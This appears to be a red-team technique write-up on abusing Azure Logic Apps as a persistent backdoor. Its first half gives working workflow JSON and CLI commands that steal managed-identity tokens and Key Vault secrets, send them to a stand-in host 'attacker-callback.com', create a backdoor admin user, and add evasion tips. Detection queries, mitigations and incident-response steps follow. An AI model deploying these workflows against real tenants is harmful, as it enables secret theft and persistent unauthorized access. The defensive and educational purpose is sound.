| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SCHED-002 |
| MITRE ATT&CK v18.1 | T1053 - Scheduled Task/Job |
| Azure Threat Research Matrix | AZT503.1 - Logic Application HTTP Trigger |
| Tactic | Persistence |
| Platforms | Entra ID, Azure Logic Apps, Azure Integration Services |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Azure Logic Apps versions (Consumption Plan and Standard Plan) |
| Patched In | N/A (No patch; requires RBAC and API connection hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Logic Apps are serverless workflow automation engines that execute on-demand, on schedules, or in response to events (HTTP triggers, blob uploads, email arrivals, etc.). An attacker with Contributor or Logic App Contributor role on a Logic App, or Contributor on an API Connection can create persistent backdoors by:
Unlike traditional webhooks, Logic Apps integrate with 600+ cloud services and on-premises systems. An attacker can, for example, hijack an HR system API connection to modify user roles, or abuse a Key Vault connection to steal secrets. The workflow definitions are stored in Azure, making them invisible to on-premises monitoring. Execution logs can be retrieved and deleted by the attacker if they have sufficient permissions.
Attack Surface: Logic App designers, HTTP triggers, API Connections (OAuth secrets and managed identities), scheduled recurrence triggers, webhook callbacks, and event-based triggers (Blob Storage, Event Grid, Service Bus).
Business Impact: Critical - Cross-System Lateral Movement. A single compromised Logic App with access to an API Connection can pivot to any system that connection authenticates to (Exchange Online, Azure SQL, Key Vault, SharePoint, etc.). The attack is highly stealthy because:
Technical Context: Logic App creation requires seconds. Execution begins immediately if HTTP-triggered, or on the next scheduled interval. Detection requires enabled Activity Log diagnostics and careful monitoring of Microsoft.Logic/workflows/write operations. Many organizations do not monitor Logic App execution logs or API Connection usage.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure Foundations 3.1.1 | Ensure that Microsoft Sentinel is enabled for critical security operations |
| DISA STIG | AZUR-CLD-000600 | All Logic Apps must have diagnostic logging enabled and monitored |
| NIST 800-53 | AC-3, AC-6, SI-4 | Access Enforcement, Least Privilege, Information System Monitoring |
| GDPR | Art. 32 | Security of Processing - Data breach via compromised workflow |
| DORA | Art. 9, Art. 15 | Protection and Prevention, Testing and Control of critical automation |
| NIS2 | Art. 21(1)(b), Art. 21(1)(e) | Cyber Risk Management, Incident Detection and Response |
| ISO 27001 | A.9.2.3, A.12.6 | Privileged Access Rights, Integrity of Technical Systems |
| ISO 27005 | Risk Scenario | “Compromise of Cloud Automation Service” with cross-system impact |
Microsoft.Logic/workflows/write and API Connection accessSupported Platforms:
Tools:
Identify existing Logic Apps and API Connections:
# Connect to Azure
Connect-AzAccount
# List all Logic Apps in subscription
Get-AzLogicApp | Select-Object Name, Location, ResourceGroupName, State
# List all API Connections (OAuth/connector credentials)
Get-AzResource -ResourceType "Microsoft.Web/connections" | Select-Object Name, ResourceGroupName
# Check role assignments on Logic Apps
$logicApp = Get-AzLogicApp -Name "MyLogicApp" -ResourceGroupName "MyRG"
Get-AzRoleAssignment -Scope $logicApp.Id | Select-Object DisplayName, RoleDefinitionName
What to Look For:
Check for Sensitive API Connections:
# Get API Connection details (includes authentication type)
$connection = Get-AzResource -ResourceType "Microsoft.Web/connections" -Name "MyConnection"
Get-AzResource -ResourceId $connection.ResourceId -ExpandProperties | Select-Object Properties
# Check which connectors have access to Key Vault, SQL, Exchange, etc.
Get-AzLogicAppTrigger -LogicAppName "MyLogicApp" -ResourceGroupName "MyRG"
# List all Logic Apps
az logic workflow list --output table
# Get API connections
az resource list --resource-type "Microsoft.Web/connections" --output table
# Check Logic App triggers and actions
az logic workflow show --name "MyLogicApp" --resource-group "MyRG"
Supported Versions: All Azure Logic Apps versions
Objective: Deploy a new Logic App or hijack an existing one
Manual Steps (Create New):
WorkflowAutomation, DataProcessing)Manual Steps (Hijack Existing):
Objective: Create an HTTP endpoint that can be invoked remotely without authentication
Manual Steps:
https://prod-123.eastus.logic.azure.com:443/triggers/manual/paths/invoke?api-version=2016-06-01&sp=/triggers/manual/run&sv=1.0&sig=...)Expected Trigger URL Example:
https://prod-123.eastus.logic.azure.com:443/triggers/manual/paths/invoke?api-version=2016-06-01&sp=/triggers/manual/run&sv=1.0&sig=ABC123XYZ
Objective: Define the payload that executes when the HTTP trigger fires
Malicious Action Examples:
Example 1: Token Exfiltration (Managed Identity)
{
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['managedidentity']['connectionId']"
}
},
"method": "get",
"path": "/invoke",
"queries": {
"api-version": "2017-09-01",
"resource": "https://graph.microsoft.com"
}
},
"runAfter": {},
"type": "ApiConnection"
}
This action retrieves a token from the Logic App’s Managed Identity, which can then be exfiltrated.
Example 2: Add Global Admin User to Azure AD
{
"inputs": {
"authentication": {
"type": "ManagedServiceIdentity"
},
"body": {
"accountEnabled": true,
"displayName": "ServiceAccount",
"mailNickname": "svc_account",
"userPrincipalName": "svc_account@contoso.onmicrosoft.com",
"passwordProfile": {
"forceChangePasswordNextSignIn": false,
"password": "Temporary@1234"
}
},
"method": "POST",
"uri": "https://graph.microsoft.com/v1.0/users"
},
"runAfter": {},
"type": "Http"
}
This creates a backdoor admin user.
Example 3: Exfiltrate Key Vault Secrets
{
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['keyvault']['connectionId']"
}
},
"method": "get",
"path": "/secrets"
},
"runAfter": {},
"type": "ApiConnection"
}
This retrieves all secrets from a Key Vault the API Connection has access to.
Example 4: Beacon to Attacker C2
{
"inputs": {
"body": {
"tenant": "@parameters('tenantId')",
"timestamp": "@utcNow()",
"principal": "@parameters('principalId')"
},
"method": "POST",
"uri": "https://attacker-callback.com/beacon"
},
"runAfter": {},
"type": "Http"
}
This sends periodic beacons to an attacker-controlled server.
Manual Steps:
curl -X POST "https://prod-123.eastus.logic.azure.com:443/triggers/manual/paths/invoke?..." \
-H "Content-Type: application/json" \
-d '{"action":"execute"}'
OpSec & Evasion:
WorkflowAutomation, DataSyncProcess)Supported Versions: All Azure Logic Apps versions
Manual Steps:
Objective: Execute payload on each recurrence
Example Scheduled Action: Hourly Token Exfiltration
{
"actions": {
"ExfiltrateToken": {
"inputs": {
"authentication": {
"type": "ManagedServiceIdentity"
},
"method": "GET",
"uri": "https://graph.microsoft.com/v1.0/me"
},
"runAfter": {},
"type": "Http"
},
"SendToAttacker": {
"inputs": {
"body": "@body('ExfiltrateToken')",
"method": "POST",
"uri": "https://attacker-callback.com/beacon"
},
"runAfter": {
"ExfiltrateToken": ["Succeeded"]
},
"type": "Http"
}
},
"triggers": {
"Recurrence": {
"recurrence": {
"frequency": "Hour",
"interval": 1
},
"type": "Recurrence"
}
}
}
Manual Steps:
OpSec & Evasion:
DailyDataSync, SystemHealthMonitor)Supported Versions: All Azure Logic Apps versions
Objective: Find an existing API Connection to a sensitive system (Key Vault, Exchange, SQL)
Manual Steps:
Via PowerShell:
# Get all API connections
Get-AzResource -ResourceType "Microsoft.Web/connections" | ForEach-Object {
$conn = Get-AzResource -ResourceId $_.ResourceId -ExpandProperties
Write-Host "Connection: $($_.Name)"
Write-Host "Type: $($conn.Properties.api.displayName)"
Write-Host "Status: $($conn.Properties.statuses -join ', ')"
}
Manual Steps:
Example: Hijacking Key Vault Connection to Dump Secrets
{
"actions": {
"ListSecrets": {
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['keyvault']['connectionId']"
}
},
"method": "get",
"path": "/secrets"
},
"type": "ApiConnection"
},
"ExfiltrateLogs": {
"inputs": {
"body": "@body('ListSecrets')",
"method": "POST",
"uri": "https://attacker-callback.com/secrets"
},
"runAfter": {
"ListSecrets": ["Succeeded"]
},
"type": "Http"
}
}
}
Manual Steps:
OpSec & Evasion:
Supported Versions: Azure Logic Apps Consumption Plan (Event Grid integration)
Objective: Automatically execute malicious workflow when a specific event occurs (e.g., blob upload)
Manual Steps:
Microsoft.Storage.BlobCreated (or modify to fit scenario)Example Workflow: Process Every Uploaded Blob
{
"actions": {
"ParseBlobData": {
"inputs": {
"content": "@triggerBody()?['data']",
"schema": {
"properties": {
"url": {
"type": "string"
}
}
}
},
"type": "ParseJson"
},
"DownloadBlob": {
"inputs": {
"authentication": {
"type": "ManagedServiceIdentity"
},
"method": "GET",
"uri": "@body('ParseBlobData')?['url']"
},
"runAfter": {
"ParseBlobData": ["Succeeded"]
},
"type": "Http"
}
}
}
This automatically processes every blob uploaded to the storage account, potentially exfiltrating data or executing embedded commands.
Version: 2.40+
Key Commands:
# Create a Logic App
az logic workflow create \
--resource-group "MyRG" \
--name "MyLogicApp" \
--definition '{
"triggers": {
"manual": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"type": "Http",
"inputs": {
"method": "POST",
"uri": "https://attacker-callback.com/beacon"
}
}
}
}'
# Enable Logic App
az logic workflow update \
--resource-group "MyRG" \
--name "MyLogicApp" \
--set properties.state=Enabled
# Get Logic App definition
az logic workflow show \
--resource-group "MyRG" \
--name "MyLogicApp" \
--query properties.definition
Version: Az.LogicApp 2.0+
# Get all Logic Apps
Get-AzLogicApp -ResourceGroupName "MyRG"
# Get Logic App definition
$logicApp = Get-AzLogicApp -Name "MyLogicApp" -ResourceGroupName "MyRG"
$definition = Get-AzLogicAppRunHistory -Name "MyLogicApp" -ResourceGroupName "MyRG"
# Create a run trigger
New-AzLogicAppRun -LogicAppName "MyLogicApp" -ResourceGroupName "MyRG"
# Get API connections in subscription
Get-AzResource -ResourceType "Microsoft.Web/connections"
Example: Create Logic App via REST API
import requests
import json
# Authenticate
token = "YOUR_BEARER_TOKEN_HERE"
# Create Logic App definition
logic_app_definition = {
"properties": {
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"actions": {},
"triggers": {
"manual": {
"type": "Request",
"kind": "Http"
}
}
},
"parameters": {}
}
}
# Create Logic App via REST API
url = "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2019-05-01"
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
response = requests.put(url, json=logic_app_definition, headers=headers)
print(response.status_code, response.json())
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName has "Microsoft.Logic/workflows"
and (OperationName has "write" or OperationName has "create")
| where Result == "Success"
| extend InitiatedByUser = tostring(InitiatedBy.user.userPrincipalName)
| extend TargetWorkflow = tostring(TargetResources[0].displayName)
| extend TargetResourceId = tostring(TargetResources[0].resourceId)
| project TimeGenerated, InitiatedByUser, OperationName, TargetWorkflow,
ActivityDisplayName, TargetResourceId, AADTenantId
| where OperationName contains "workflows/write" or
OperationName contains "workflows/triggers/write"
Manual Configuration Steps:
Logic App Created or ModifiedHigh10 minutes2 hoursKQL Query:
AuditLogs
| where OperationName has "Microsoft.Logic/workflows" and OperationName has "write"
| where Result == "Success"
| extend WorkflowDef = parse_json(TargetResources[0].modifiedProperties)
| extend TriggerType = tostring(WorkflowDef.definition.triggers[0])
| where TriggerType has "Http" or TriggerType has "Request"
| project TimeGenerated, InitiatedBy.user.userPrincipalName,
TargetResources[0].displayName, TriggerType
What This Detects:
KQL Query:
AuditLogs
| where OperationName has "Microsoft.Logic/workflows" and OperationName has "write"
| extend Connections = parse_json(TargetResources[0].modifiedProperties).parameters.connections
| where isnotempty(Connections)
| summarize count(), min(TimeGenerated) as FirstUse, max(TimeGenerated) as LastUse,
distinct_users = dcount(InitiatedBy.user.userPrincipalName)
by TargetResources[0].displayName, tostring(Connections)
| where count_ > 5 // Alert if same connection reused across 5+ workflows
Rule Configuration:
SPL Query:
index=azure_activity operationName="Microsoft.Logic/workflows/write"
OR operationName="Microsoft.Logic/workflows/triggers/write"
status=Succeeded
| search properties.definition="*Http*" OR properties.definition="*Request*"
| dedup object
| rename claims.ipaddr as src_ip
| rename caller as user
| stats count, min(_time) as firstTime, max(TimeGenerated) as lastTime,
values(dest) as dest, values(properties.definition) as trigger_type
by object, user, src_ip, resourceGroupName
| where count > 0
What This Detects:
SPL Query:
index=azure_activity operationName="Microsoft.Logic/workflows/jobs/write"
status=Succeeded
| stats count as execution_count by workflowName, bin(_time, 1h)
| where execution_count > 100 // Alert if > 100 executions per hour
| rename workflowName as Logic_App
Note: Logic Apps execute entirely in Azure cloud infrastructure. No on-premises Windows Event Log entries are generated unless workflows trigger on-premises systems (Hybrid Runbook Workers, on-prem databases). Refer to Microsoft Sentinel for comprehensive monitoring.
1. Restrict Logic App Creation and Modification via RBAC
Manual Steps (Azure Portal):
Create Custom RBAC Role (PowerShell):
$roleDefinition = @{
Name = "Logic App Viewer"
Description = "Can view Logic Apps but cannot create or modify"
Type = "CustomRole"
Permissions = @{
Actions = @(
"Microsoft.Logic/workflows/read",
"Microsoft.Logic/workflows/triggers/read",
"Microsoft.Logic/workflows/runs/read"
)
NotActions = @(
"Microsoft.Logic/workflows/write",
"Microsoft.Logic/workflows/delete",
"Microsoft.Logic/workflows/triggers/write"
)
}
AssignableScopes = @(
"/subscriptions/{subscriptionId}"
)
}
New-AzRoleDefinition -Role $roleDefinition
2. Enable Comprehensive Audit Logging for All Logic App Operations
Manual Steps:
LogicAppAuditVerify Audit Logging:
# Check if audit logging is enabled
Get-AzDiagnosticSetting -ResourceId "/subscriptions/{subscriptionId}"
3. Disable HTTP Triggers without Authentication
Manual Steps (For Each Logic App):
Alternative: Use Azure Functions with API Keys
If needing HTTP entry points, use Azure Functions with API Keys instead of unauthenticated Logic App triggers:
# Create Function App with HTTP trigger (requires function key authentication)
$functionApp = New-AzFunctionApp -ResourceGroupName "MyRG" `
-FunctionAppName "MyFunction" `
-Runtime "PowerShell"
4. Block or Monitor API Connection Creation
Manual Steps:
Example Policy (JSON):
{
"policyRule": {
"if": {
"allOf": [
{
"field": "type",
"equals": "Microsoft.Web/connections"
},
{
"field": "Microsoft.Web/connections/api.id",
"contains": "/keyvault"
}
]
},
"then": {
"effect": "Deny"
}
}
}
5. Implement Conditional Access Policies
Manual Steps:
Restrict Logic App Access from Suspicious IP Ranges6. Monitor and Alert on Suspicious Logic App Activity
Use the Sentinel KQL queries above to create automated alerts.
Azure Audit Log Indicators:
Microsoft.Logic/workflows/write (Creation/modification)Microsoft.Logic/workflows/triggers/write (Trigger modification)Microsoft.Logic/connections/write (API Connection usage)Http, Request (Unauthenticated entry points)ApiConnection (Using sensitive connectors: Key Vault, Exchange, SQL)Workflow Code Indicators:
Cloud Audit Logs:
AuditLogs tableTimeGenerated - When workflow was createdInitiatedBy.user.userPrincipalName - Who created itTargetResources[0].displayName - Logic App nameTargetResources[0].modifiedProperties - Workflow definition changesRuntime Artifacts:
1. Immediate Isolation:
# Disable the malicious Logic App
Set-AzLogicAppState -ResourceGroupName "MyRG" `
-Name "SuspiciousLogicApp" `
-State Disabled
# Delete the Logic App if necessary
Remove-AzLogicApp -ResourceGroupName "MyRG" `
-Name "SuspiciousLogicApp" -Force
2. Collect Evidence:
# Export the Logic App definition
$logicApp = Get-AzLogicApp -Name "SuspiciousLogicApp" -ResourceGroupName "MyRG"
$definition = Get-Content -Path ($logicApp.DefinitionPath)
$definition | Out-File -FilePath "C:\Evidence\logic_app_definition.json"
# Export run history
Get-AzLogicAppRunHistory -Name "SuspiciousLogicApp" -ResourceGroupName "MyRG" |
Export-Csv -Path "C:\Evidence\run_history.csv"
3. Investigate API Connection Abuse:
# Check which secrets/data were accessed via compromised API Connection
# (Requires audit logs from the connected service: Key Vault, Exchange, SQL)
# For Key Vault: Check audit logs for secret retrievals
Get-AzKeyVaultAccessLog -VaultName "MyVault" | Where-Object { $_.Caller -like "*LogicApp*" }
# For Exchange: Check mailbox audit logs
Search-MailboxAuditLog -Identity "*" -LogonTypes Delegate `
-ResultSize Unlimited | Export-Csv "C:\Evidence\exchange_audit.csv"
4. Revoke Compromised API Connections:
# Get the API Connection
$connection = Get-AzResource -ResourceType "Microsoft.Web/connections" `
-Name "MyConnection" -ResourceGroupName "MyRG"
# Disconnect/delete the connection
Remove-AzResource -ResourceId $connection.ResourceId -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-002 | OAuth consent grant attack to compromise user account |
| 2 | Privilege Escalation | PE-ACCTMGMT-001 | Escalate to Logic App Contributor or API Connection access |
| 3 | Current Step | [PERSIST-SCHED-002] | Create persistent Logic App backdoor |
| 4 | Lateral Movement | LM-AUTH-029 | Use hijacked API Connections to access Key Vault, Exchange, SQL |
| 5 | Collection | COL-M365-001 | Exfiltrate data via compromised workflow |